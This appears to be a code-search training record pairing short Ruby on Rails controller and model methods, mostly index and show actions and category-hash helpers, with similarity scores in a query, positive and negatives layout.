"def index\n if current_user.permission.eql?(\"responsible\")\n @efacs = current_user.efacs\n elsif current_user.permission.eql?(\"admin\")\n @efacs = Efac.all\n elsif current_user.instance?\n @efacs = Efac.where(sent: true, instance_id: current_user.id)\n end\n\n end",
"def show\n render json: serializer_class.new(ecf_transfer, params: { cpd_lead_provider: current_user }).serializable_hash.to_json\n end",
"def actors_list\n self.characters.map do |c|\n \"#{c.actor.full_name}\"\n end\n end",
"def index\n @officers = Officer.all\n end",
"def index\n @officers = Officer.all\n end",
"def index\n @services = current_user.services.order('provider asc')\n end",
"def index\n @indicator_federations = IndicatorFederation.all\n end",
"def all_epsilons\n\t\tget_epsilons nil\n\tend",
"def index\n @entersofts = Entersoft.all\n end",
"def get_elevator\n if params[:column].present?\n @elevators = Column.find(params[:column]).elevators\n else\n @elevators = Column.all\n end\n if request.xhr?\n respond_to do |format|\n format.json {\n render json: {elevators: @elevators}\n }\n end\n end\n end",
"def show\n ensure_permission! :can_read_public_content?\n EntourageServices::EntourageDisplayService.new(entourage: @entourage, user: current_user_or_anonymous, params: params).view\n is_onboarding, mp_params = Onboarding::V1.entourage_metadata(@entourage)\n mixpanel.track(\"Displayed Entourage\", mp_params) unless current_user_or_anonymous.anonymous?\n include_last_message = params[:include_last_message] == 'true'\n render json: @entourage, serializer: ::V1::EntourageSerializer, scope: {user: current_user_or_anonymous, include_last_message: include_last_message}\n end",
"def getOffers\n if current_contractor || current_user\n offers_per_post = Offer.where(post_id: params[:post_id])\n @offers = offers_per_post.order(created_at: :asc).limit(10)\n\n render json: @offers.as_json(include: [{contractor: { methods: [:avatar_url] }}, :post,])\n end\n end",
"def entertainers\n self.events.map {|event| event.entertainers }.flatten\n end",
"def index\n session[:updated_floavors] = \"\"\n @openstack_users = OpenstackUser.all\n end",
"def index\n @admins_election_results = Admins::ElectionResult.all\n end",
"def index\n @provider_engaged_users = ProviderEngagedUser.all\n @person_infos = PersonInfo.all\n end",
"def full_recent_unlocks_response(options = {})\n return api_response(\"recent-unlocks\", options[:limit])\n end",
"def index\n @creatures = current_user.creatures\n end",
"def index\n @expense_owners = ExpenseOwner.all\n end",
"def index\n @organizing_future_events = get_user_organizing_future_events\n @attending_future_events = get_user_attending_future_events\n @nearby_events = get_upcoming_nearby_events_within_radius(5)\n end",
"def members(entity) \n member_ids(entity).map{ |member| \"RubyProvisioningApi::#{entity}\".constantize.send(:find, member) }\n end",
"def index\n per_page = params[:per_page] || 100\n changed_since = params[:changed_since]\n ActiveRecord::Base.transaction do\n ActiveRecord::Base.connection.execute('LOCK provider, provider_enrichment, site IN SHARE UPDATE EXCLUSIVE MODE')\n @providers = Provider\n .opted_in\n .changed_since(changed_since)\n .limit(per_page)\n end\n\n last_provider = @providers.last\n\n # When we extract the changed_at from the last provider, format it with\n # sub-second timing information (micro-seconds) so that our incremental\n # fetch can handle many records being updated within the same second.\n #\n # The strftime format '%FT%T.%6NZ' is similar to the ISO8601 standard,\n # (equivalent to %FT%TZ) and adds micro-seconds (%6N).\n response.headers['Link'] = if last_provider\n next_link(last_provider.changed_at\n .utc\n .strftime('%FT%T.%6NZ'),\n per_page)\n else\n next_link(changed_since, per_page)\n end\n render json: @providers\n rescue ActiveRecord::StatementInvalid\n render json: { status: 400, message: 'Invalid changed_since value, the format should be an ISO8601 UTC timestamp, for example: `2019-01-01T12:01:00Z`' }.to_json, status: 400\n end",
"def index\n @telfornecedors = Telfornecedor.all\n end",
"def authored_names # :nologin: :norobots:\n query = create_query(:Name, :with_descriptions)\n show_selected_names(query)\n end",
"def index\n @vendedors = Vendedor.all\n end",
"def show\n @offer = Offer.find(params[:id])\n \n @venue_name= Venue.find(@offer.venue_id).venue_name\n @offer_opinions = @offer.opinions\n if @offer_opinions.first\n @offer_opinions = Opinion.all_offer_opinions(@offer.id)\n #@offer_opinions = @offer_opinions.joins('LEFT OUTER JOIN users ON users.id = opinions.user_id').select('title, description, points, username')\n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @offer }\n end\n end",
"def index\n @general_educators = GeneralEducator.all\n end",
"def index\n @tx_land_grants_efns = TxLandGrantsEfn.all\n end",
"def contributors\n @descriptive_detail.contributors\n end",
"def index\n @elders = Elder.all\n end",
"def show_all\n @owners = Owner.all\n end",
"def index\n @infractors = Infractor.all\n end",
"def collaborators\n @collaborators = Person.find(:all, :conditions => {:position => 'Collaborator'})\n \n @collaborators.sort! {|a, b| a.last_name.upcase <=> b.last_name.upcase}\n \n respond_to do |format|\n format.html # collaborators.html.erb\n format.xml { render :xml => nil }\n end\n end",
"def index\n set_upcoming_events\n respond_with @upcoming_events, each_serializer: Api::V1::CompactContractSerializer, :current_user => current_user\n end",
"def index\n @events = Event.where(member_id: params[:member_id]).order(updated_at: :desc).page(params[:page]).per(5)\n end",
"def index\n @collaborators = Collaborator.accessible_by(current_ability)\n @entities = Entity.accessible_by(current_ability)\n end",
"def index\n @infants = current_user.infants\n end",
"def get_list_defender_ressources\n ressource_report = []\n metal = @defender_ship.metal\n crystal = @defender_ship.cristal\n fuel = @defender_ship.fuel\n ressource_report << \"#{@defender.username} besitzt im Schiff #{@defender_ship.name}: #{metal} Metall, #{crystal}Kristall und #{fuel} Treibstoff.\"\n return ressource_report\n end",
"def index\n users_tickets = if current_employee.manager?\n Ticket::Ticket.all\n elsif current_employee.crew_chief?\n Ticket::Ticket.where(crew_chief: current_employee)\n end\n \n @tickets = users_tickets.not_finalized.decorate\n @tickets_finalized = users_tickets.finalized.decorate\n end",
"def index\n @collaborators = Collaborator.all\n end",
"def index\n @collaborators = Collaborator.all\n end",
"def index\n @evac_centers = EvacCenter.all\n render json: @evac_centers\n end",
"def show_members\n @exchange = Exchange.find(params[:id])\n @members = @exchange.users\n @exchanges = current_user.exchanges.find(:all)\n end",
"def index\n owner = helpers.current_owner\n if owner\n (@filterrific = initialize_filterrific(\n Estate.estates_by_owner(owner.id),\n params[:filterrific]\n )) || return\n @estates = @filterrific.find.page(params[:page])\n\n respond_to do |format|\n format.html\n format.js\n end\n else\n @estates = []\n end\n\n render :index, locals: { estates: @estates }\n end",
"def index\n @elections = current_user.elections\n end",
"def show\n @community = Community.find(params[:id])\n @event_collection = @community.recent_events(5)\n @posts_collection = @community.posts\n \n end",
"def list\n display_customers\n end",
"def index\n @pedagogy_innovations = @_current_user.pedagogy_innovations\n end",
"def index\n\t @authentications = current_user.authentications.order('provider asc')\n\t end",
"def list_admins\n service_response = ManagerManagement::Team::ListAdmins.new(params).perform\n return render_api_response(service_response)\n end",
"def all_endorsers_of_candidate(user)\n candidate = Candidate.find_by(user: user)\n p endorsements = all_endorsements.map { |endorsement| endorsement.candidate == candidate }\n endorsements = all_endorsements.select { |endorsement| endorsement.candidate == candidate }\n endorsements.map { |endorsement| endorsement.user.twitteruser }\n end"
] |
[
"0.5496127",
"0.5372884",
"0.5286411",
"0.51972145",
"0.51972145",
"0.5160774",
"0.51256484",
"0.5076362",
"0.5076362",
"0.5040046",
"0.49732637",
"0.49607384",
"0.49207768",
"0.49067444",
"0.48928815",
"0.48686838",
"0.48598355",
"0.4828297",
"0.48216313",
"0.4799586",
"0.47718424",
"0.4771464",
"0.47615755",
"0.47355586",
"0.47332314",
"0.47217956",
"0.47177935",
"0.4717519",
"0.4681885",
"0.46661618",
"0.46645436",
"0.46644962",
"0.46543702",
"0.46540922",
"0.46478575",
"0.46406263",
"0.46396324",
"0.46383557",
"0.46273577",
"0.46249437",
"0.46170574",
"0.46154478",
"0.46136183",
"0.46073905",
"0.4604439",
"0.46006835",
"0.46000254",
"0.45998475",
"0.45926943",
"0.45893833",
"0.45769203",
"0.45768097",
"0.45720744",
"0.45720744",
"0.45677453",
"0.45673314",
"0.45612437",
"0.45583543",
"0.4557925",
"0.45473704",
"0.454648",
"0.45393237",
"0.45390737",
"0.45381087",
"0.45339552",
"0.4529125",
"0.4527616",
"0.4510318",
"0.45092088",
"0.45084652",
"0.4505939",
"0.4505591",
"0.45047644",
"0.4503425",
"0.45020393",
"0.4499571",
"0.44984138",
"0.44903287",
"0.44859263",
"0.44840178",
"0.44804633",
"0.4479879",
"0.44776338",
"0.44773722",
"0.4476866",
"0.447531",
"0.4474613",
"0.44714424",
"0.4468132",
"0.4468132",
"0.446434",
"0.44567195",
"0.44510564",
"0.4451051",
"0.44482905",
"0.44462618",
"0.44455737",
"0.44438362",
"0.44409645",
"0.44403517"
] |
0.5115426
|
7
|
Returns a single ECF Unfunded Mentor Providers can see a specific ECF Unfunded Mentor details via this endpoint GET /api/v3/unfundedmentors/ecf/:id
|
def show
render json: serializer_class.new(ecf_unfunded_mentor).serializable_hash.to_json
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @epu = Election.find(params[:id]).elections_participated_users.includes(:user)\n (@filterrific = initialize_filterrific(\n Member,\n params[:filterrific]\n )) || return\n @members = @filterrific.find.where(tenant_id: current_tenant.id).includes(:roles).page(params[:page])\n end",
"def show\n @vehicel = @user.vehicels.find(params[:id])\n end",
"def show\n @emedidor = Emedidor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @emedidor }\n end\n end",
"def show\n @equipamentuser = Equipamentuser.find(params[:id])\n end",
"def show\n raise Exceptions::EducatorNotAuthorized unless current_educator.districtwide_access\n educator = Educator.find(params[:id])\n render json: educator.as_json({\n :only => [\n :id,\n :email,\n :full_name,\n :staff_type,\n :restricted_to_sped_students,\n :restricted_to_english_language_learners,\n :can_view_restricted_notes,\n :schoolwide_access,\n :districtwide_access,\n :grade_level_access,\n :admin\n ],\n :methods => [:labels],\n :include => {\n :school => { :only => [:id, :name] },\n :sections => {\n :only => [:id, :section_number],\n :methods => [:course_description]\n },\n :homeroom => { :only => [:id, :name] }\n }\n })\n end",
"def show\n @emprendedor = Emprendedor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @emprendedor }\n end\n end",
"def index\n @educators = Educator.all\n end",
"def index\n @educators = Educator.all\n end",
"def edit\n @deal = @cost_calculation.deal\n if @cost_calculation.has_tender?\n @tender = @cost_calculation.tender\n @tender_response = @tender.tender_responses.where(contractor_id: @deal.supplier_id).first\n end\n end",
"def show\n @collaborateurs = @aramis_entity.collaborators\n end",
"def show\n @principal_establec = PrincipalEstablec.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @principal_establec }\n end\n end",
"def show\n @user = User.find(params[:user_id])\n @eod = Eod.find_by(params[:id]) \n end",
"def show\n if administrador?\n @emergencium = Emergencium.find(params[:id])\n else\n @entidade = Entidade.where(\" user_id = ?\", current_user.id)\n @emergencium = Emergencium.find(params[:id], :conditions => [\" entidade_id = ?\", @entidade[0].id]) rescue nil\n render :action => \"index\" if @emergencium.nil?\n end\n end",
"def show\n render json: @elector\n end",
"def show\n @party = Party.find(params[:id])\n \n getroles(@party.id)\n \n get_user_postal_code() \n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @party }\n end\n end",
"def index\n return provider_locator if params[:type] == 'cc_provider'\n\n facilities\n end",
"def show\n @cloud_provider = current_user.cloud_providers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cloud_provider }\n end\n end",
"def view\n\t\t\t@investor = Investor.find params[:id]\n\t\tend",
"def show\n @endorsement = Endorsement.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @endorsement }\n end\n end",
"def investor(id:)\n Investor.find(id)\n end",
"def show\n @edetail = Edetail.find_by(id: params[:id])\n end",
"def show\n @event = current_cfp_user.person.events.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @event }\n end\n end",
"def edit\n @mentor = Mentor.find(params[:id])\n render :edit\n end",
"def show\n authorize @fuel_supply\n end",
"def show\n @entrepreneur = Entrepreneur.find(params[:id])\n authorize @entrepreneur\n end",
"def show\n authorize @orden\n end",
"def show\n require 'uri'\n @event = EventOwner.find(params[:id])\n @is_admin = current_user && current_user.id == @event.id\n end",
"def show\n @equipamento = usuario_corrente.equipamentos.find(params[:id])\n end",
"def show\n if current_user.is_not_member?\n flash[:error] = \"You do not have permissions to access that feature.\"\n redirect_to root_path and return\n end\n \n @safety_inspection = SafetyInspection.find(params[:id])\n @safety_item_responses = @safety_inspection.safety_item_responses\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @safety_inspection }\n end\n end",
"def set_etf\n @etf = Etf.find(params[:id])\n authorize @etf\n end",
"def show\n @mentor_profile=MentorProfile.find(params[:id])\n end",
"def show\n sc = sort_column\n @sort = sc + \" \"\n if params[:page]\n\t\t\tcookies[:event_universities_page] = {\n\t\t\t\tvalue: params[:page],\n\t\t\t\texpires: 1.day.from_now\n\t\t\t}\n\t\tend\n @embed_code_universities = @event.embed_code_universities.order(@sort + sort_direction).page(cookies[:event_universities_page])\n @events_universities = @event.events_universities\n end",
"def set_elder_member\n @elder_member = ElderMember.find(params[:id])\n end",
"def show\n @ecnuser = Ecnuser.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @ecnuser }\n end\n end",
"def show_provider\n provider_app_detail_ids = ProviderAppDetail.where(fk_audit_trail_id: params[:id])\n @providers = Provider.where(\"fk_provider_app_detail_id in (?)\", provider_app_detail_ids)\n @audit_trail = AuditTrail.find(params[:id])\n end",
"def show\n authorize! :show, @characteristic\n end",
"def current_educator_or_doppleganger(params_educator_id)\n if current_educator.can_set_districtwide_access? && params_educator_id.present?\n Educator.find(params_educator_id)\n else\n current_educator\n end\n end",
"def show\n authorize @team\n\n add_breadcrumb \"#{@event.code}\", :admin_event_path\n add_breadcrumb \"Equipes\", :admin_event_teams_path\n add_breadcrumb \"#{@team.name}\", :admin_event_team_path\n @team_users = TeamUser.where(team: @team)\n\n end",
"def show\n @provider_medico_provider = Provider::MedicoProvider.where(provider_medico_id: params[:id])\n end",
"def investor_suitability_details(entity_id)\n API::request(:get, \"entities/#{entity_id}/investor_suitability\")\n end",
"def show\n cf_get(path: \"/organizations/#{org_id}\")\n end",
"def index\n if current_user.permission.eql?(\"responsible\")\n @efacs = current_user.efacs\n elsif current_user.permission.eql?(\"admin\")\n @efacs = Efac.all\n elsif current_user.instance?\n @efacs = Efac.where(sent: true, instance_id: current_user.id)\n end\n\n end",
"def show\n @expertise = current_user.expertises.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @expertise }\n end\n end",
"def show\n @officer = Officer.find(params[:id])\n end",
"def set_endorsement\n @endorsement = Endorsement.find(params[:id])\n end",
"def show\n @provider = current_company.providers.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @provider }\n end\n end",
"def show\n @role = session[:role]\n check_access(@role)\n # Show company name if realtor belongs to company\n @realtor = Realtor.find(params[:id])\n if @realtor.companies_id != nil\n @company = Company.find(@realtor.companies_id)\n end\n if session[:role] == 'admin'\n redirect_to login_path\n else\n user = User.find(session[:user_id])\n if user.is_househunter == true\n @switchable = true\n end\n end\n end",
"def set_elector\n @elector = Elector.find(params[:id])\n end",
"def show\n @educator = Educator.first(:conditions => \"id = #{params[:id]}\")\n if @educator.nil?\n redirect_to educators_path \n else\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @educator }\n end\n end\n end",
"def show\n @matieres =Matiere.find_by_id(@mentor.user.id)\n end",
"def set_entersoft\n @entersoft = Entersoft.find(params[:id])\n end",
"def index\n @educ_infos = EducInfo.all\n end",
"def show\n @educators = Educator.where(verified: [false, nil]).all\n @dmcas = Dmca.all\n end",
"def entity\n @entity ||=\n begin\n detected = lam.QueryAssignedLicenses().find{|la| la.entityDisplayName == resource[:entity_id]}\n if detected\n detected.entityId\n else\n resource[:entity_id]\n end\n end\n end",
"def index\n @ordems = Ordem.all\n end",
"def show\n @edu_detail = EduDetail.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @edu_detail }\n end\n end",
"def show\n authorize @cov_odp\n end",
"def show\n @electoral_district = ElectoralDistrict.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @electoral_district }\n end\n end",
"def show\n @provider_role = ProviderRole.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @provider_role }\n end\n end",
"def set_ordem\n @ordem = Ordem.find(params[:id])\n end",
"def show\n render json: serializer_class.new(ecf_transfer, params: { cpd_lead_provider: current_user }).serializable_hash.to_json\n end",
"def show\n @orf_model = OrfModel.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @orf_model }\n end\n end",
"def show\n #authorize! :read, Transport\n @passengers = @transport.passengers\n end",
"def show\n if current_user.is_not_member?\n flash[:error] = \"You do not have permissions to access that feature.\"\n redirect_to root_path and return\n end\n \n @repair_hours_entry = RepairHoursEntry.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @repair_hours_entry }\n end\n end",
"def show \r\n checar_egresso_empresa_super_show_empresa \r\n @oportunidade = Oportunidade.find(params[:id])\r\n end",
"def show\n \n @erp = Erp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json=> @erp }\n end\n end",
"def show\n @coordinator = Coordinator.find(@mercyhome.coordinators_id)\n end",
"def set_educ_info\n @educ_info = EducInfo.find(params[:id])\n end",
"def index\n @elections = current_user.elections\n end",
"def show\n @organisme_employe = Organisme.where(:api_id => @employe.organisme_id)\n @role_employe = Role.where(:id => @employe.role_id)\n end",
"def index\n @guest_educators = GuestEducator.all\n end",
"def show\n ensure_permission! :can_read_public_content?\n EntourageServices::EntourageDisplayService.new(entourage: @entourage, user: current_user_or_anonymous, params: params).view\n is_onboarding, mp_params = Onboarding::V1.entourage_metadata(@entourage)\n mixpanel.track(\"Displayed Entourage\", mp_params) unless current_user_or_anonymous.anonymous?\n include_last_message = params[:include_last_message] == 'true'\n render json: @entourage, serializer: ::V1::EntourageSerializer, scope: {user: current_user_or_anonymous, include_last_message: include_last_message}\n end",
"def show\n @ef_mental = EfMental.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ef_mental }\n end\n end",
"def show\n authorize! :show, @characteristic_value\n end",
"def show\n @fornecedore = Fornecedore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @fornecedore }\n end\n end",
"def show\n\t\trespond_with @proveedor\n end",
"def edit\n @event = current_user.events.find(params[:id])\n end",
"def set_educator\n @educator = Educator.find(params[:id])\n end",
"def show\n @author = Author.in_conference(current_conference).\n find(params[:id])\n\n respond_to do |format|\n format.html {\n device_selective_render\n }\n end\n end",
"def show\n @universitario = Universitario.find(params[:id])\n end",
"def show\n authorize @almoxarifado_material\n end",
"def show\n @events = Event.all\n @has_joined = nil\n if !current_user.nil?\n @has_joined = Sailing.joins(:travelling_parties => {:party_registers => :user}).find_by(:id => params[:id], \"users.id\" => current_user.id)\n end\n end",
"def show\n @admin_collaborator = Admin::Collaborator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @admin_collaborator }\n end\n end",
"def show\n respond_with(@teleprovider)\n end",
"def show\n if user_signed_in?\n @attendee = @event.attendees.where(:user_id=>current_user).first\n end\n @available=false\n begin\n unless @event.tickets.first.amount.nil?\n amount = @event.tickets.first.amount - @event.attendees.count\n @available=true if amount>0\n end\n rescue\n\n end\n @community = Community.find(@event.community_id) unless @event.community_id.nil?\n end",
"def show\n @iseditor = useriseditor\n end",
"def show\n @establec_ppal = EstablecPpal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @establec_ppal }\n end\n end",
"def edit\n @member = TeamMember.find(params[:id])\n end",
"def show\n\n authorize @cov_odp_processed\n end",
"def show\n if @incident.encargado.nil?\n @encargado = nil\n else\n @encargado = Employee.find_by_sql(\"SELECT * from employees WHERE employee_id = #{@incident.encargado};\")[0]\n end\n end",
"def show\n @event = Event.includes(:creator, event_attendances: [:attendee]).find(params[:id])\n end",
"def show\n @vendedor = Vendedor.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @vendedor }\n end\n end",
"def details(entity_id, request_options = \"\")\n API::request(:get, \"entities/#{entity_id}\" + request_options)\n end",
"def show\n @open_erp = OpenErp.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @open_erp }\n end\n end",
"def show\n #@charities = Charity.find(charity_params[:user_id])\n end",
"def show\n @relatorio_pedagogicos = RelatorioPedagogico.all\n authorize @relatorio_pedagogicos\n end",
"def investor_sector\n @investor = Investor.find(params[:id])\n end",
"def show\n @planets_exoplanet = Planets::Exoplanet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @planets_exoplanet }\n end\n end",
"def show\n @collaborator = Collaborator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @collaborator }\n end\n end",
"def show\n authorize @cov_died\n end"
] |
[
"0.572603",
"0.5557755",
"0.52802235",
"0.5231837",
"0.5209486",
"0.51395565",
"0.5111269",
"0.5111269",
"0.51035655",
"0.5088826",
"0.5067503",
"0.50606465",
"0.50603616",
"0.5055631",
"0.50248003",
"0.50121444",
"0.5007236",
"0.49860573",
"0.49830687",
"0.49806538",
"0.49749628",
"0.49618945",
"0.49611613",
"0.4958108",
"0.4938803",
"0.49292564",
"0.49291015",
"0.49233517",
"0.49201247",
"0.49188167",
"0.49155542",
"0.48965752",
"0.48862487",
"0.48767328",
"0.48738733",
"0.48724276",
"0.4855658",
"0.4846966",
"0.4841535",
"0.48327613",
"0.48235494",
"0.48188603",
"0.4789638",
"0.47883746",
"0.47851783",
"0.47840282",
"0.47794023",
"0.47736457",
"0.477098",
"0.47690168",
"0.47630027",
"0.47616154",
"0.47593254",
"0.47575527",
"0.47520858",
"0.4745693",
"0.47401854",
"0.47284943",
"0.47280815",
"0.47271377",
"0.47205505",
"0.47132862",
"0.47116312",
"0.4700112",
"0.4695974",
"0.4695863",
"0.4691253",
"0.4684768",
"0.468171",
"0.46751308",
"0.4671702",
"0.4666135",
"0.46647274",
"0.46636245",
"0.46616054",
"0.46496975",
"0.46438372",
"0.4643701",
"0.46432036",
"0.46282753",
"0.46255806",
"0.4617734",
"0.46173877",
"0.46158713",
"0.4611492",
"0.46019745",
"0.45996112",
"0.45948198",
"0.45918262",
"0.45916316",
"0.45914465",
"0.45908418",
"0.45900184",
"0.45873594",
"0.45859015",
"0.45843276",
"0.4583385",
"0.4580819",
"0.45799768",
"0.4577976"
] |
0.5405743
|
2
|
Instance methods transform categories hash into nested objects for view simplicity
|
def categories
raw_categories.to_hashugar
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def categories\n Hash[self.class.catalogs.map { |fld, klass|\n name = fld.gsub(/_id$/, '_name');\n [fld, {:id => self.send(fld), :name => self.send(name)}] rescue nil\n }.reject {|cat| cat.nil?}]\n end",
"def extract_categories cats\n cats.inject Hash.new do |hash, tag|\n\n # iterate through groups if the tag belongs to multiple\n tag[\"groups\"].each do |group|\n name = group[\"name\"]\n hash[name] ||= []\n hash[name] << tag[\"name\"]\n end\n hash\n end\n end",
"def fresh_categories\n # these are the categories that will be displayed by default\n # in the html view\n return {\n \"speakerData\" => {\"label\" => \"Character Direct Speech\", \"data\" => []},\n \"indirectData\" => {\"label\" => \"Character Indirect Diction\", \"data\" => []},\n \"traitData\" => {\"label\" => \"Trait: Character Type\", \"data\" => []}, \n \"genderData\" => {\"label\" => \"Trait: Character Sex\", \"data\" => []},\n \"maritalStateData\" => {\"label\" => \"Trait: Character Marriage Status\", \"data\" => []},\n \"socecStatusData\" => {\"label\" => \"Trait: Character Class Status\", \"data\" => []},\n \"ageData\" => {\"label\" => \"Trait: Character Age\", \"data\" => []},\n \"occupationData\" => {\"label\" => \"Trait: Character Occupation\", \"data\" => []},\n }\nend",
"def category_tree\n @category_tree = {}\n get_category_browse_nodes.each do |n|\n build_category_tree(n)\n end\n @category_tree\n end",
"def build_categories(product, mapped_categories)\n collection = []\n\n product[:categories].each do |category_name|\n mapped_categories.each do |mapped_category|\n build_category_tree(collection, category_name, mapped_category)\n end\n end\n\n collection\n end",
"def load_categories\n q = @db.query(\"select t.term_id, t.name, t.slug\n from wp_terms as t join wp_term_taxonomy as x\n on t.term_id = x.term_id\n where x.taxonomy = 'category'\")\n\n q.each_hash { |c| os = OpenStruct.new(c) ; @categories[os.term_id.to_i] = OpenStruct.new(c) }\n end",
"def categories_by_taxonomy\n\n self.categories.inject({}) do |result, category|\n \n if result.has_key?(category.taxonomy.id.to_sym)\n result[category.taxonomy.id.to_sym] << category\n else\n result[category.taxonomy.id.to_sym] = [category]\n end\n \n result \n end \n\n end",
"def categories_from_hash(hash)\n cat = []\n (1..hash.size).each { |i|\n cat.push(Item_Category.new(hash[i][0], hash[i][1]))\n }\n cat\n end",
"def categories(arg_)\n @config.lock\n\n objdata_ = _get_objdata(arg_)\n return nil unless objdata_\n hash_ = {}\n objdata_[2].each do |tup_, tupcats_|\n tupcats_.each do |cat_|\n hash_[cat_] = @categories[cat_][1].map{ |elem_| tup_[elem_] }\n end\n end\n hash_\n end",
"def subcategories_json\n {id: id, name: name, depth: depth}\n end",
"def subcategories_json\n {id: id, name: name, depth: depth}\n end",
"def to_categories(sub_context)\n Array(sub_context).map { |id|\n categories[id] \n }.compact\n end",
"def category_attributes=(category_attributes) # setter\n # raise category_attributes.inspect\n category_attributes.keys.each do |key|\n categories.new(category_attributes[key])\n end\n end",
"def get_field_deserializers()\n return {\n \"category1\" => lambda {|n| @category1 = n.get_string_value() },\n \"category10\" => lambda {|n| @category10 = n.get_string_value() },\n \"category11\" => lambda {|n| @category11 = n.get_string_value() },\n \"category12\" => lambda {|n| @category12 = n.get_string_value() },\n \"category13\" => lambda {|n| @category13 = n.get_string_value() },\n \"category14\" => lambda {|n| @category14 = n.get_string_value() },\n \"category15\" => lambda {|n| @category15 = n.get_string_value() },\n \"category16\" => lambda {|n| @category16 = n.get_string_value() },\n \"category17\" => lambda {|n| @category17 = n.get_string_value() },\n \"category18\" => lambda {|n| @category18 = n.get_string_value() },\n \"category19\" => lambda {|n| @category19 = n.get_string_value() },\n \"category2\" => lambda {|n| @category2 = n.get_string_value() },\n \"category20\" => lambda {|n| @category20 = n.get_string_value() },\n \"category21\" => lambda {|n| @category21 = n.get_string_value() },\n \"category22\" => lambda {|n| @category22 = n.get_string_value() },\n \"category23\" => lambda {|n| @category23 = n.get_string_value() },\n \"category24\" => lambda {|n| @category24 = n.get_string_value() },\n \"category25\" => lambda {|n| @category25 = n.get_string_value() },\n \"category3\" => lambda {|n| @category3 = n.get_string_value() },\n \"category4\" => lambda {|n| @category4 = n.get_string_value() },\n \"category5\" => lambda {|n| @category5 = n.get_string_value() },\n \"category6\" => lambda {|n| @category6 = n.get_string_value() },\n \"category7\" => lambda {|n| @category7 = n.get_string_value() },\n \"category8\" => lambda {|n| @category8 = n.get_string_value() },\n \"category9\" => lambda {|n| @category9 = n.get_string_value() },\n \"@odata.type\" => lambda {|n| @odata_type = n.get_string_value() },\n }\n end",
"def parse_categories_structure(category_id = nil)\n super category_id, { product_link: '.productsArea .productArea .productDetail a',\n next_page_link: '.productsArea .tsk-pageview .next a' }\n end",
"def category\n ActiveModel::SerializableResource.new(object.category, each_serializer: CategoriesSerializer)\n end",
"def categories()\n @web.get('http://www.waymarking.com/cat/categorydirectory.aspx') do |page|\n ile = 0\n #puts page.parser.to_html.to_s\n cache = {}\n\n page.parser.css('div#content div.gutter a').each do |cat|\n href = cat.attr('href')\n m = Category::GUID_REGEXP.match href\n key = Waymarking::Utils.parameterize(cat.text)\n unless m.nil? then\n ile +=1\n raise DuplicatedCategory if cache.has_key? key\n\n cache[key] = m[1]\n #puts \"#{ile} #{key} #{cat.text} #{m[1]}\"\n else\n puts href\n end\n\n end\n\n cache2 = {}\n cache.keys.each do |key|\n @web.get(\"http://www.waymarking.com/cat/details.aspx?f=1&guid=#{cache[key]}&exp=True\") do |page2|\n begin\n cat = Waymarking::Category.from_html(page2)\n cache2[key] = cat\n rescue\n puts key\n end\n end\n end\n\n File.open('categories.yml', 'w') do |f|\n f.write YAML::dump(cache2)\n end\n end\n end",
"def category_info\n {\n categories: self.object.appointments.map{ |appt| \n appt.category\n }\n \n }\n end",
"def to_yaml_object\n return nil if @categories.empty?\n @categories\n end",
"def to_yaml_object\n return nil if @categories.empty?\n @categories\n end",
"def category_key_value_pairs\n categories.collect{|k,v| [k,v['sCategory']]} rescue []\n end",
"def set_hash\n # Create a new hash for the renderd boxes\n\t\t@categories = {\n 'purchasers' => {\n \"class\": Purchaser,\n \"name\": 'Purchaser'\n },\n 'endusers' => {\n \"class\": EndUser,\n \"name\":'End User'\n },\n 'purchaseorders' => {\n \"class\": PurchaseOrder,\n \"name\": 'Purchase Order'\n },\n 'keys' => {\n \"class\": Key,\n \"name\": 'Key'\n }\n }\n end",
